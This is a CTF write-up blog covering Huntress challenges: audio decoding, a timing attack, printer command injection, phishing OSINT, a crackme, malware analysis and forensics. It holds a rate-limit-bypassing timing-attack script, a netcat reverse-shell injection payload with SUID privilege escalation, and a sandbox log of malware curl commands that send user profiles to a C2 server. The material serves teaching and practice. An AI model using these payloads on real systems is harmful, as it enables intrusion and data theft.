I was late registering for the Huntress CTF this year. I joined a week late when there were already thousands of participants across thousands of teams competing to solve cybersecurity challenges as quickly as possible to place in the leaderboards. The Huntress CTF categories this year were in reverse engineering, binary exploitation, malware analysis, OSINT, web, forensics and miscellaneous categories - all categories which I have spent far too much time working in. I played solo and after catching up, consistently placed within the top 10. By the end, I was able to defeat every challenge from every category and wound up winning a limited-edition CTF Huntress T-shirt.

I’ll showcase the approaches I took for my favourite challenge from each category, then briefly discuss my setup and tools. Feel free to download the files and play along!

Day 03

👶 Maximum Sound

Category 👶 Warmups
Challenge Prompt
Dang, this track really hits the target! It sure does get loud though, headphone users be warned!!

I downloaded the file and listened to it. The audio had this repetitive distinctive pattern, and then some distortion in the middle before returning to just the distinctive pattern - this was definitely not music. It almost reminded me of the noises modems would make dialing up to the Internet or sending a fax.

So let’s analyze this file, I loaded the WAV file into Audacity to visualize the spectrogram to see if there were any hidden patterns in the frequency domain. I switched to spectrogram view (Analyze -> Plot Spectrum) hoping to see text or patterns encoded in the frequencies, but it just showed varying frequency bands over time - nothing interesting.

Since it sounded like a modem, I tried a few approaches:

Attempted to decode it with minimodem thinking it might be RTTY, Bell 103, or another audio modem protocol:

minimodem --rx auto -f maximum_sound.wav

Perhaps it’s more obscure, there isn’t a lot of clues that are obvious to me in the description, so I tried loading it into fldigi, a digital mode decoder that supports PSK31, RTTY, and other amateur radio data modes. I then tested it with some FSK/AFSK decoders but nothing worked. The signal pattern didn’t match standard modem protocols.

So it’s learning time now, lets do some research on audio transmission protocols and what else out there kinda sounds like a modem but isn’t… and that is when I came across SSTV (Slow Scan Television) - a method used by ham radio operators to transmit images over audio. Let’s try and decode the signal using the first online SSTV decoder that showed up on Google.

  1. Uploaded maximum_sound.wav
  2. Set quality to “Slow - High Quality” to ensure no data loss during decoding
  3. Waited for it to process (took almost a minute)
  4. Downloaded the resulting image

The decoder successfully decoded the wav file and produced an image containing what looked like a QR code, but not quite - it had a different pattern with a distinctive bullseye/target center. I tried scanning it with regular QR code readers but got nothing.

After some searching, I learned this was a MaxiCode - a 2D barcode format with that characteristic concentric square pattern in the center.

I uploaded the image to Dynamsoft’s Barcode Reader and it revealed:

Maxicode: flag{d60ea9faec46c2de1c72533ae3ad11d7}

A few takeaways from this challenge… I learned about SSTV, which is a lesser-known protocol for transmitting images over audio - most commonly used in ham radio. MaxiCode is distinct from QR codes by its central bullseye pattern. Spectrum analysis and trying common protocols first is a good debugging approach for unknown audio challenges.

Day 08

🌐 Flag Checker

Category 🌐 Miscellaneous
Author Soups71
Challenge Prompt
We've decided to make this challenge really straight forward. All you have to do is find out the flag!

Juuuust make sure not to trip any of the security controls implemented to stop brute force attacks...
Working this challenge may be difficult with the browser-based connection alone. We again recommend you use the direct IP address over the VPN connection.
Restarting the instance repeatedly is not required for solving this challenge. If you find yourself doing this, it may be worth reevaluating your strategy.

Accessing the challenge presents a basic website with one input field, which validates whether or not the flag you have submitted is the correct one. I submitted the letter f, the first correct letter for a flag{}, and was returned Not Quite!. Let’s take a look at the headers and see what we sent, and exactly what we got back:

Sent:

:method GET
:path   /submit?flag=f
:scheme https
cookie  token=c39fc864-8e9a-4690-a2a3-fe1031e72a3c_2_55a8c4448cf4e8af20265bfaad09714be888df59374274066639d660ae1c38aa
user-agent  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36

Received:

access-control-allow-origin *
content-encoding  gzip
content-type  text/html; charset=utf-8
server  nginx/1.24.0 (Ubuntu)
x-response-time 0.101387

I noticed the x-response-time header, it made me consider a timing side-channel attack. A timing side-channel attack exploits measurable differences in processing time to leak information about secret data. In this challenge, the server’s flag comparison logic may inadvertently reveal correctness through response delays. To test this lets send fl, which is what should be a second correct character:

Sent:

:method GET
:path   /submit?flag=fl
:scheme https
cookie  token=c39fc864-8e9a-4690-a2a3-fe1031e72a3c_2_55a8c4448cf4e8af20265bfaad09714be888df59374274066639d660ae1c38aa
user-agent  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36

Received:

access-control-allow-origin *
content-encoding  gzip
content-type  text/html; charset=utf-8
server  nginx/1.24.0 (Ubuntu)
x-response-time 0.201407

Yep, the vulnerable code likely compares the submitted flag character by character and the x-response-time seems to increase by about 0.1 seconds for every correct character. Lets test some unknown characters to confirm:

  • flag{0... x-response-time ~0.5s
  • flag{1... x-response-time ~0.5s
  • flag{2... x-response-time ~0.5s
  • flag{3... x-response-time ~0.5s
  • flag{4... x-response-time ~0.5s
  • flag{5... x-response-time ~0.5s
  • flag{6... x-response-time ~0.5s
  • flag{7... x-response-time ~0.6s (+0.1s)

Seems straight-forward enough so lets write a quick Python script to automate all of the possibilities, take a quick nap - then submit the flag. That’s when the second part of the challenge kicked in… after a few more requests, I was blocked: Stop Hacking!! Your IP Has Been Blocked.

I decided to scan the IP of this host and see if there is anything else going on. Running a port scanner against the web server reveals three open ports:

22:   OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 Ubuntu Linux; protocol 2.0
80:   nginx 1.24.0 Ubuntu
5000: 

I browse to port 5000 and am presented the same page that was being shared on port 80. The response headers have a different server listed:

server  Werkzeug/3.1.3 Python/3.11.14

So port 5000 is the Flask backend, maybe it doesn’t have the rate limiting applied? Lets submit a test flag, then update our Python script to bruteforce the flag over port 5000 instead of port 80. I tried to submit a flag and was presented this error message:

X-FORWARDED-FOR Header not present

Fantastic, we now have the next step solved, lets add this header and provide different IP addresses for each request, so we never get our IP blocked.

import requests
import string

url = "http://10.1.56.107:5000/submit"
ip_counter = 0

def get_ip():
    global ip_counter
    ip_counter += 1
    return f"10.{(ip_counter//65536)%256}.{(ip_counter//256)%256}.{ip_counter%256}"

def time_flag(flag):
    headers = {"X-FORWARDED-FOR": get_ip()}
    r = requests.get(url, params={"flag": flag}, headers=headers)
    return float(r.headers.get('X-Response-Time', 0))

charset = string.ascii_lowercase + string.digits + "{}"
known = "flag{"
baseline = time_flag(known)

print(f"[*] Starting timing attack on {url}")
print(f"[*] Baseline time: {baseline:.6f}s\n")

while not known.endswith("}"):
    for char in charset:
        test_flag = known + char
        response_time = time_flag(test_flag)
        print(f"Testing: {test_flag} -> {response_time:.6f}s", end='\r')
        
        # timing spike indicates correct character
        if response_time - baseline > 0.05:
            known += char
            baseline = response_time
            print(f"\n[+] Found: {known} (baseline: {baseline:.6f}s)\n")
            break

print(f"\nFLAG: {known}")

The script uses IP rotation, get_ip() generates sequential IPs (10.0.0.1, 10.0.0.2, …) as insurance against any rate limiting. We use baseline tracking, as we know each correct character increases the baseline by ~100ms. A jump of more than 50ms indicates a correct character, and we continue until we hit the closing }.

The script took ~15-20 minutes to finish running and produce the full flag. Perfect time to work on other challenges. No need for threading complexity to reduce runtime when the script just… works, eventually printing: FLAG: flag{77ba0346d9565e77344b9fe40ecf1369}

After completing the challenge, I wrote multi-threaded version to see how much faster it would have been:

import requests
import string
from concurrent.futures import ThreadPoolExecutor

url = "http://10.1.56.107:5000/submit"
ip_counter = 0

def get_ip():
    global ip_counter
    ip_counter += 1
    return f"10.{(ip_counter//65536)%256}.{(ip_counter//256)%256}.{ip_counter%256}"

def time_flag(flag):
    headers = {"X-FORWARDED-FOR": get_ip()}
    r = requests.get(url, params={"flag": flag}, headers=headers)
    return float(r.headers.get('X-Response-Time', 0))

charset = string.ascii_lowercase + string.digits + "{}"
known = "flag{"
baseline = time_flag(known)

def test_char(char):
    test = known + char
    return char, time_flag(test)

while not known.endswith("}"):
    with ThreadPoolExecutor(max_workers=16) as executor:
        results = list(executor.map(test_char, charset))
    
    best_char, best_time = max(results, key=lambda x: x[1])
    
    if best_time - baseline > 0.05:
        known += best_char
        baseline = best_time
        print(f"[+] Found: {known}")
print(f"\nFLAG: {known}")

Runtime was about ~2 minutes as this tests 16 chars simultaneously per position, if this was the final challenge - this difference would separate first from second, but honestly? I had the flag before most people even found port 5000. The simple approach was more than fast enough for day 8.

A couple takeaways - timing attacks work. Character-by-character comparison leaks information through processing time and observable delays create a measurable side-channel, even small timing differences (100ms) are detectable and exploitable over network.

To defend against these types of attacks, use constant-time comparison: hmac.compare_digest() or similar. Add random delays; jitter masks timing patterns, and as for the rate limiting - don’t expose your backend.

Also when given a host or an IP, gain as much information as you can. A port scan is a good start as alternate ports may have different protections. Measure everything - timing, size, error messages all leak information.

Day 15

⚙️ Phasing Through Printers

Category ⚙️ Miscellaneous
Author Soups71
Challenge Prompt
I found this printer on the network, and it seems to be running... a weird web page... to search for drivers?

Here is some of the code I could dig up.
Escalate your privileges and uncover the flag in the root user’s home directory.
The password to the ZIP archive below is phasing_through_printers.

Lets start with extracting the challenge files and reviewing what we have here:

7z x -pphasing_through_printers phasing_through_printers.zip

The archive contains two files:

  • cgi-bin/search.c - CGI source code
  • www/index.html - Basic web interface

The web interface is just a simple search form that queries printer drivers. Let’s look at the CGI script that handles the search.

Opening up search.c, I immediately spotted something suspicious in how it handles user input:

cstrcpy(combinedString, first_part);
strcat(combinedString, decoded);
strcat(combinedString, last_part);

This builds the command grep -R -i [USER_INPUT] /var/www/html/data/printer_drivers.txt. User input is concatenated directly into a shell command without sanitization, a classic command injection vulnerabilitiy. I can use shell metacharacters like ; to inject arbitrary commands.

Let’s test command injection with a reverse shell. I setup a listener on my Kali box:

$ nc -lvnp 80

Then sent this payload to the vulnerable CGI script:

;nc -c sh 10.200.12.66 80;

http://10.1.41.178/cgi-bin/search.cgi?q=%3Bnc+-c+sh+10.200.12.66+80;

Got a connection, but only a basic shell - so I upgraded it to something more usable:

python3 -c 'import pty;pty.spawn("/bin/bash")'

Now I’ve got a proper interactive shell, but I’m running as the web server user. I need to escalate to root to get the flag in /root/flag.txt.

The first thing I check when looking for privilege escalation - SUID binaries:

find / -perm -u=s -type f 2>/dev/null

and I found something interesting: /usr/local/bin/admin_help with the SUID bit set and owned by root. Let’s see what it does:

Your wish is my command... maybe :)
Error opening original file: No such file or directory
Bad String in File.

Interesting message… let me check what this binary is actually trying to do, using strings on the binary reveals:

chmod +x /tmp/wish.sh && /tmp/wish.sh

Nice, the binary executes /tmp/wish.sh as root (because of the SUID bit) and /tmp is world-writable, so I can create my own wish.sh script:

echo "cat /root/flag.txt" > /tmp/wish.sh

Then executed the SUID binary:

/usr/local/bin/admin_help
Your wish is my command... maybe :)
flag{93541544b91b7d2b9d61e90becbca309}

Perfect! The script ran as root and gave us the flag.

This challenge demonstrated two common vulnerabilities:

  • Command Injection: User input concatenated directly into shell commands without sanitization. The fix is to properly validate and sanitize input, or better yet, avoid shell commands entirely and use language-native functions.
  • SUID Misconfiguration: Never make binaries SUID if they execute scripts from world-writable directories like /tmp. Anyone can replace the script and execute arbitrary code as root. The binary should either check file ownership/permissions or use absolute paths in non-writable locations.

Day 21

🕵️ Follow the Money

Category 🕵️ OSINT
Author Brady
Challenge Prompt
Hey Support Team,

We had a bit of an issue yesterday that I need you to look into ASAP. There's been a possible case of money fraud involving our client, Harbor Line Bank. They handle a lot of transfers for real estate down payments, but the most recent one doesn't appear to have gone through correctly.

Here's the deal, we need to figure out what happened and where the money might have gone. The titling company is looping in their incident response firm to investigate from their end. I need you to quietly review things on our end and see what you can find. Keep it discreet and be passive.

I let Evelyn over at Harbor Line know that someone from our team might reach out. Her main email is offline right now just in case it was compromised, she's using a temporary address until things get sorted out:

[email protected]
This challenge uses a non-standard flag format.
The password to the ZIP archive is follow_the_money.

It seems we’re investigating a money fraud case involving Harbor Line Bank and a suspicious real estate transfer. Let’s see what we’re working with, by first extracting the archive:

7z x -pfollow_the_money follow_the_money.zip

Looks like the archive contains 5 .eml files - email correspondence between:

I opened each email and started reading through the conversation. Most of them looked like normal business correspondence about real estate transfers. The emails consistently referenced this link for submitting transfer information:

https://evergatetitle.netlify.app/

However, email 5 contains a typosquatted domain:

https://evergatetltle.netlify.app/

Note the difference: title and tltle (classic homoglyph attack replacing ‘i’ with ’l’).

I visited the fake site and submitted some dummy transfer data. The response was interesting:

Thanks for giving me your bank! Your friend, 
aHR0cHM6Ly9uMHRydXN0eC1ibG9nLm5ldGxpZnkuYXBwLw==

That’s base64. Let me decode it:

$ echo 'aHR0cHM6Ly9uMHRydXN0eC1ibG9nLm5ldGxpZnkuYXBwLw==' | base64 -d
https://n0trustx-blog.netlify.app/

A blog? The attacker is just… giving us their blog? Let’s check it out.

The blog had various posts about security topics, but more importantly, it linked to a GitHub profile: https://github.com/N0TrustX

So our first answer is the hacker’s username is definitely: N0TrustX

Looking through their repositories, one caught my eye: Spectre. I cloned it and started poking around the code. In spectre.html at line 122, there was a hidden div:

<div id="encodedPayload" class="hidden">
  ZmxhZ3trbDF6a2xqaTJkeWNxZWRqNmVmNnltbHJzZjE4MGQwZn0=
</div>

Another base64 string. Lets decode that one too:

$ echo 'ZmxhZ3trbDF6a2xqaTJkeWNxZWRqNmVmNnltbHJzZjE4MGQwZn0=' | base64 -d
flag{kl1zklji2dycqedj6ef6ymlrsf180d0f}

There’s our flag! Looking back at the whole attack:

  1. Attacker registered a typosquatted domain (evergatetltle instead of evergatetitle)
  2. Sent a phishing email to Evelyn with the fake link
  3. Victim submitted real estate transfer details to the fake site
  4. Attacker intercepted the banking information
  5. Left breadcrumbs to their blog and GitHub profile (probably for bragging rights?)

The typosquatting was clever because in email fonts, “tltle” and “title” look almost identical. It’s something you might not catch unless you were specifically looking for phishing indicators.

Day 22

⚙️ NimCrackMe1

Category ⚙️ Reverse Engineering
Challenge Prompt
I just really like Nim, okay, I think it's neat.

(Could very well be used by threat actors too, so it's worth getting a feel for some Nimlang reverse engineering!)

Started with basic file analysis:

PE32+ executable for MS Windows 5.02 (console), x86-64, 19 sections

A 64-bit Windows executable compiled from the Nim programming language, not a language I’m overly familiar with but lets dig into it.

I loaded the binary into Binary Ninja, the main function was empty but I found the real entry point: main__crackme_u20 at 0x140012b84.

Decompiled code revealed three key operations:

cbuildEncodedFlag__crackme_u18(&encoded_flag);
xorStrings__crackme_u3(&decoded_flag, &xor_key, encoded_flag);

if (unix_timestamp == 0) {
    print(decoded_flag);
} else {
    print("Nope!");
}

The anti-debug trick checks if the Unix timestamp is 0 (January 1, 1970) - a telltale sign of analysis tools or VMs with default times. Clever, but we can bypass this entirely by extracting the encrypted data and key.

The buildEncodedFlag__crackme_u18 function was a mess of nested conditionals, but it’s just building a 38-byte array:

encoded = [
    0x28, 0x05, 0x0c, 0x47, 0x12, 0x4b, 0x15, 0x5c,
    0x09, 0x12, 0x17, 0x55, 0x09, 0x4b, 0x42, 0x08,
    0x55, 0x5a, 0x45, 0x58, 0x44, 0x57, 0x45, 0x77,
    0x5d, 0x54, 0x44, 0x5c, 0x45, 0x13, 0x59, 0x5b,
    0x47, 0x42, 0x5e, 0x59, 0x16, 0x5d
]

Each block in the decompiled code was just assigning a byte to string[index]. Extracted the 38 bytes manually.

In main__crackme_u20, I spotted references to global variables:

cv1[1] = &TM__cGo7QGde1ZstH4i7xlaOag_4;
xorStrings__crackme_u3(&decoded, &encoded, v1);

Jumped to address 0x140021ae0 in Binary Ninja and found:

4e 69 6d 20 69 73 20 6e 6f 74 20 66 6f 72 20 6d 61 6c 77 61 72 65 21

ASCII decoded: Nim is not for malware!

With both the encoded flag and XOR key in hand, wrote a quick solver:

encoded = [
    0x28, 0x05, 0x0c, 0x47, 0x12, 0x4b, 0x15, 0x5c,
    0x09, 0x12, 0x17, 0x55, 0x09, 0x4b, 0x42, 0x08,
    0x55, 0x5a, 0x45, 0x58, 0x44, 0x57, 0x45, 0x77,
    0x5d, 0x54, 0x44, 0x5c, 0x45, 0x13, 0x59, 0x5b,
    0x47, 0x42, 0x5e, 0x59, 0x16, 0x5d
]

key = "Nim is not for malware!"

flag = ""
for i, byte in enumerate(encoded):
    flag += chr(byte ^ ord(key[i % len(key)]))

print("Decoded flag:", flag)

This prints our flag: flag{852ff73f9be462962d949d563743b86d}

The challenge wrapped a simple repeating-key XOR cipher in an anti-analysis trick. The timestamp check (if unix_time == 0) was designed to catch researchers running the binary in sandboxes or debuggers, showing only a decoy message in normal environments.

By extracting the hardcoded data statically, I bypassed the check entirely. No need to patch the binary - just pure static analysis and a simple XOR loop.

Day 25

🐞 My Hawaii Vacation

Challenge Prompt
Oh jeeeez... I was on Booking.com trying to reserve my Hawaii vacation.

Once I tried verifying my ID, suddenly I got all these emails saying that my password was changed for a ton of different websites!! What is happening!?!

I had a flag.txt on my desktop, but that's probably not important...

Anyway, I still can't even finish booking my flight to Hawaii!! Here is the site I was on... can you get this thing to work!??!
This is the Malware category, and as such, includes malware. Please be sure to analyze these files within an isolated virtual machine.

This challenge starts off providing us access to an instanced website, a quick review of the site makes me believe that this is a phishing landing page. The only option here seems to be fill in the details, and submit the form on the screen.

With DevTools open, we see that submitting this form makes a GET request to /downloads which prompts for a download of Booking - ID Verification.exe. So, the fake landing page doesn’t seem to store or care about the details we entered, they only want us to download and run this malware, so lets close the page for now and focus on this potential malware. I have attached this file to the challenge description, which it was not originally part of.

The important warning above is indeed an important one, not only are we accessing this malware from a contained virtual machine - we’re going to run it through an online malware analysis sandbox. This will execute the program and create a report detailing what changes or network requests the application made, here is the analysis I ran.

So lets analyze what this program did. The first interesting command creates a temporary folder named C:\Users\admin\AppData\Local\Temp\2254d15dc9219e25:

C:\WINDOWS\system32\cmd.exe /c cmd /c if not exist "C:\Users\admin\AppData\Local\Temp\2254d15dc9219e25" mkdir "C:\Users\admin\AppData\Local\Temp\2254d15dc9219e25" >nul 2>&1

Next, it downloads 7-Zip and saves it as e3e5f2e77290fd4e.exe in the temporary folder:

C:\WINDOWS\system32\cmd.exe /c curl -fL -sS --connect-timeout 30 -o "C:\Users\admin\AppData\Local\Temp\2254d15dc9219e25\e3e5f2e77290fd4e.exe" "https://7-zip.org/a/7zr.exe"

A PowerShell command enumerates user accounts and their SIDs:

C:\WINDOWS\system32\cmd.exe /c powershell.exe -NoProfile -Command "Get-CimInstance -ClassName Win32_UserAccount | Where-Object { Test-Path (Join-Path -Path 'C:\Users' -ChildPath $_.Name) } | Select-Object Name,SID | Format-List"

The admin user’s SID is then exported to a .log file:

C:\WINDOWS\system32\cmd.exe /c powershell.exe -NoProfile -Command "(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-1693682860-607145093-2874071422-1001').Sid > C:\Users\admin\AppData\Local\Temp\2254d15dc9219e25\DESKTOP-JGLLJLD_admin.log"

The malware checks in with the command and control (C2) server:

C:\WINDOWS\system32\cmd.exe /c curl -sS --connect-timeout 30 -m 30 -o - -w HTTPSTATUS:%{http_code} "http://10.1.232.205/a9GeV5t1FFrTqNXUN2vaq93mNKfSDqESBn2IlNiGRvh6xYUsQFEk4rRo8ajGA7fiEDe1ugdmAbCeqXw6y0870YkBqU1hrVTzgDIHZplop8WAWTiS3vQPOdNP" 2>&1

The SID log file is uploaded using HTTP basic authentication (note the credentials prometheus:PA4tqS5NHFpkQwumsd3D92cb):

C:\WINDOWS\system32\cmd.exe /c curl -sS --connect-timeout 30 -m 30 -o - -w HTTPSTATUS:%{http_code} -u "prometheus:PA4tqS5NHFpkQwumsd3D92cb" -F "file=@C:\Users\admin\AppData\Local\Temp\2254d15dc9219e25\DESKTOP-JGLLJLD_admin.log" "http://10.1.232.205/a9GeV5t1FFrTqNXUN2vaq93mNKfSDqESBn2IlNiGRvh6xYUsQFEk4rRo8ajGA7fiEDe1ugdmAbCeqXw6y0870YkBqU1hrVTzgDIHZplop8WAWTiS3vQPOdNP" 2>&1

The entire admin user profile is compressed into a password-protected archive disguised as an MP3 file, using the user’s SID as the password:

C:\WINDOWS\system32\cmd.exe /c cmd /c C:\Users\admin\AppData\Local\Temp\2254d15dc9219e25\e3e5f2e77290fd4e.exe a -p"S-1-5-21-1693682860-607145093-2874071422-1001" "C:\Users\admin\AppData\Local\Temp\2254d15dc9219e25\DESKTOP-JGLLJLD_admin.mp3" "C:\Users\\admin\\*" >nul 2>&1

Another check-in to the C2 server:

C:\WINDOWS\system32\cmd.exe /c curl -sS --connect-timeout 30 -m 30 -o - -w HTTPSTATUS:%{http_code} "http://10.1.232.205/a9GeV5t1FFrTqNXUN2vaq93mNKfSDqESBn2IlNiGRvh6xYUsQFEk4rRo8ajGA7fiEDe1ugdmAbCeqXw6y0870YkBqU1hrVTzgDIHZplop8WAWTiS3vQPOdNP" 2>&1

The compressed profile archive is exfiltrated to the C2 server:

C:\WINDOWS\system32\cmd.exe /c curl -sS --connect-timeout 30 -m 30 -o - -w HTTPSTATUS:%{http_code} -u "prometheus:PA4tqS5NHFpkQwumsd3D92cb" -F "file=@C:\Users\admin\AppData\Local\Temp\2254d15dc9219e25\DESKTOP-JGLLJLD_admin.mp3" "http://10.1.232.205/a9GeV5t1FFrTqNXUN2vaq93mNKfSDqESBn2IlNiGRvh6xYUsQFEk4rRo8ajGA7fiEDe1ugdmAbCeqXw6y0870YkBqU1hrVTzgDIHZplop8WAWTiS3vQPOdNP" 2>&1

The process repeats for the Administrator account - first exporting the SID:

C:\WINDOWS\system32\cmd.exe /c powershell.exe -NoProfile -Command "(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-1693682860-607145093-2874071422-500').Sid > C:\Users\admin\AppData\Local\Temp\2254d15dc9219e25\DESKTOP-JGLLJLD_Administrator.log"

Another C2 check-in:

C:\WINDOWS\system32\cmd.exe /c curl -sS --connect-timeout 30 -m 30 -o - -w HTTPSTATUS:%{http_code} "http://10.1.232.205/a9GeV5t1FFrTqNXUN2vaq93mNKfSDqESBn2IlNiGRvh6xYUsQFEk4rRo8ajGA7fiEDe1ugdmAbCeqXw6y0870YkBqU1hrVTzgDIHZplop8WAWTiS3vQPOdNP" 2>&1

Uploading the Administrator’s SID log:

C:\WINDOWS\system32\cmd.exe /c curl -sS --connect-timeout 30 -m 30 -o - -w HTTPSTATUS:%{http_code} -u "prometheus:PA4tqS5NHFpkQwumsd3D92cb" -F "file=@C:\Users\admin\AppData\Local\Temp\2254d15dc9219e25\DESKTOP-JGLLJLD_Administrator.log" "http://10.1.232.205/a9GeV5t1FFrTqNXUN2vaq93mNKfSDqESBn2IlNiGRvh6xYUsQFEk4rRo8ajGA7fiEDe1ugdmAbCeqXw6y0870YkBqU1hrVTzgDIHZplop8WAWTiS3vQPOdNP" 2>&1

And finally, compressing and exfiltrating the Administrator profile with the Administrator’s SID as the password:

C:\WINDOWS\system32\cmd.exe /c cmd /c C:\Users\admin\AppData\Local\Temp\2254d15dc9219e25\e3e5f2e77290fd4e.exe a -p"S-1-5-21-1693682860-607145093-2874071422-500" "C:\Users\admin\AppData\Local\Temp\2254d15dc9219e25\DESKTOP-JGLLJLD_Administrator.mp3" "C:\Users\\Administrator\\*" >nul 2>&1

So this malware is targeting two separate user accounts, the admin user account (SID ending in -1001) which is a regular user account, and the Administrator account (SID ending in -500) which is the built-in Administrator account. For each account, it follows the same process, export the SID to a log file, check in with the C2 server, upload the SID log file, compress the entire user profile using that account’s SID as the password, check in with the C2 again, upload the compressed profile. So it’s essentially doing the same exfiltration routine twice - once for each user account it finds on the system. The -500 SID is the well-known identifier for the built-in Administrator account on Windows systems.

Let’s login to that site with the newly acquired username prometheus and password PA4tqS5NHFpkQwumsd3D92cb. We see two files WINDOWS11-Administrator.log and WINDOWS11-Administrator.zip. These files are presumably the uploaded SID and profile of the vacationer, lets download and review them.

Opening the .log file confirms our expectation, it contains an SID, displayed here as rendered from the registry:
1 5 0 0 0 0 0 5 21 0 0 0 18 239 154 226 242 155 126 245 147 116 180 120 244 1 0 0

We are looking for the flag.txt on the Desktop of this user, lets go get that. Open up the .zip file and confirm that it contains our flag.txt and that it is password locked. That is indeed the case, lets convert this .log file text back into an SID and use it as a password for the .zip file.

Windows stores Security Identifiers (SIDs) in the registry as binary data for efficiency, but displays them as human-readable strings like S-1-5-21-1234567890-.... Understanding this conversion is important because the malware exported these binary SIDs to log files.

SID strings follow this format:

S-1-<IdentifierAuthority>-<SubAuthority1>-<SubAuthority2>-...

The binary format stores this same information in a compact structure:

  • Revision (1 byte): Always 1
  • Sub-authority count (1 byte): Number of sub-authorities
  • Identifier Authority (6 bytes): Top-level authority (usually NT Authority = 5)
  • Sub-authorities (4 bytes each): Variable number of DWORD values in little-endian format

Let’s parse the binary SID from the log file:

Byte 0: 1 = Revision
Byte 1: 5 = Sub-authority count (5 sub-authorities)
Bytes 2-7: 0 0 0 0 0 5 = Identifier Authority (NT Authority = 5)
Bytes 8-11: 21 0 0 0 = Sub-authority 1 (little-endian DWORD = 21)
Bytes 12-15: 18 239 154 226 = Sub-authority 2
Bytes 16-19: 242 155 126 245 = Sub-authority 3
Bytes 20-23: 147 116 180 120 = Sub-authority 4
Bytes 24-27: 244 1 0 0 = Sub-authority 5 (RID)

Each sub-authority is stored as a 4-byte little-endian DWORD (least significant byte first). To convert to decimal:

Sub-authority 2: 18 239 154 226
= (18) + (239 × 256) + (154 × 65,536) + (226 × 16,777,216)
= 3801804562

Sub-authority 3: 242 155 126 245
= (242) + (155 × 256) + (126 × 65,536) + (245 × 16,777,216)
= 4118715378

Sub-authority 4: 147 116 180 120
= (147) + (116 × 256) + (180 × 65,536) + (120 × 16,777,216)
= 2025096243

Sub-authority 5 (RID): 244 1 0 0
= (244) + (1 × 256)
= 500

Final SID: S-1-5-21-3801804562-4118715378-2025096243-500

The RID of 500 is significant-it’s the well-known SID for the built-in Administrator account on Windows systems.

We can verify this conversion programmatically using Python, this is the script I used in the competition:

import win32security

binary_sid = bytes([1, 5, 0, 0, 0, 0, 0, 5, 21, 0, 0, 0, 18, 239, 154, 226, 242, 155, 126, 245, 147, 116, 180, 120, 244, 1, 0, 0])
sid = win32security.SID(binary_sid)
print(sid)  # S-1-5-21-3801804562-4118715378-2025096243-500

We can now use this SID as a password to extract the flag.txt from the .zip file and open it up, sure enough it contains the flag: flag{0a741a06d3b8227f75773e3195e1d641}

Day 26

🔍 Puzzle Pieces Redux

Category 🔍 Forensics
Author Nordgaren
Challenge Prompt
Well, I accidentally put my important data into a bunch of executables... just don't ask, okay?

It was fine... until my cat Sasha stepped on my keyboard and messed everything up! OH NOoOoO00!!!!!111Can you help me recover my important data?

So I extracted puzzle_pieces_redux.7z and got 16 binary files. Let’s see what we’re working with:

$ file *             
4fb72a1a24.bin:      MS-DOS executable, MZ for MS-DOS
5e47.bin:            PE32 executable for MS Windows 6.00 (console), Intel i386, 4 sections
5fa.bin:             PE32 executable for MS Windows 6.00 (console), Intel i386, 4 sections
7b217.bin:           PE32 executable for MS Windows 6.00 (console), Intel i386, 4 sections
8c14.bin:            PE32 executable for MS Windows 6.00 (console), Intel i386, 4 sections
24b429c2b4f4a3c.bin: PE32 executable for MS Windows 6.00 (console), Intel i386, 4 sections
53bc247952f.bin:     PE32 executable for MS Windows 6.00 (console), Intel i386, 4 sections
8208.bin:            PE32 executable for MS Windows 6.00 (console), Intel i386, 4 sections
945363af.bin:        PE32 executable for MS Windows 6.00 (console), Intel i386, 4 sections
a4c71d6229e19b0.bin: PE32 executable for MS Windows 6.00 (console), Intel i386, 4 sections
aa60783e.bin:        PE32 executable for MS Windows 6.00 (console), Intel i386, 4 sections
c8c5833b33584.bin:   PE32 executable for MS Windows 6.00 (console), Intel i386, 4 sections
c54940df1ba.bin:     PE32 executable for MS Windows 6.00 (console), Intel i386, 4 sections
d2f7.bin:            PE32 executable for MS Windows 6.00 (console), Intel i386, 4 sections
e1204.bin:           PE32 executable for MS Windows 6.00 (console), Intel i386, 4 sections
f12f.bin:            PE32 executable for MS Windows 6.00 (console), Intel i386, 4 sections

PE32 executables for MS Windows, all 117KB each. They’re all the same size, which seems suspicious, lets look for some readable strings:

$ strings *.bin | grep -i flag
flag_part_2.pdb 
flag_part_1.pdb
flag_part_3.pdb
flag_part_2.pdb 
flag_part_4.pdb 
flag_part_5.pdb 
flag_part_6.pdb 
flag_part_1.pdb 
flag_part_0.pdb 
flag_part_4.pdb 
flag_part_5.pdb 
flag{
flag_part_0.pdb 
flag_part_7.pdb 
flag_part_7.pdb 
flag_part_3.pdb 
flag_part_6.pdb 

I can see flag{ in one of the files, and there are also references to .pdb files (debugging symbols) mentioning different parts. So each executable probably contains a fragment of the flag, but I’ve got 16 files here, and duplicate parts.

Let’s get the flag fragments out of the other files, they’re all the same size, so lets see where flag{ was written and let’s compare that to the other files. I opened a few of the executables in a hex editor and noticed a consistent pattern… there was a 16-byte header followed by the flag fragment, terminated by a 0x0A byte. The location was the same across all files.

So I wrote a quick Python script to extract the fragments directly from the binary data:

import os
import glob

flag_parts = []

for filepath in sorted(glob.glob("*.bin")):
    with open(filepath, 'rb') as f:
        data = f.read()
        
    # Find the pattern: 16 bytes of header, then flag content until 0A
    # Looking for: 40 10 40 00 40 10 40 00 00 00 00 00 00 00 00 00
    header = b'\x40\x10\x40\x00\x40\x10\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    
    idx = data.find(header)
    if idx != -1:
        # Start after the header
        start = idx + len(header)
        # Find the end marker (0A)
        end = data.find(b'\x0A', start)
        if end != -1:
            fragment = data[start:end].decode('ascii', errors='ignore')
            flag_parts.append(fragment)
            print(f"{filepath}: {fragment}")

Running this extracts all the fragments:

$ python solve.py
24b429c2b4f4a3c.bin: 5abfa
53bc247952f.bin: f18ba
5e47.bin: 88a2d
5fa.bin: 5f93f
7b217.bin: e6817
8208.bin: be7a1
8c14.bin: 48979
945363af.bin: f9f73
a4c71d6229e19b0.bin: 49f8b
aa60783e.bin: d9c1a
c54940df1ba.bin: 02}
c8c5833b33584.bin: flag{
d2f7.bin: 23c
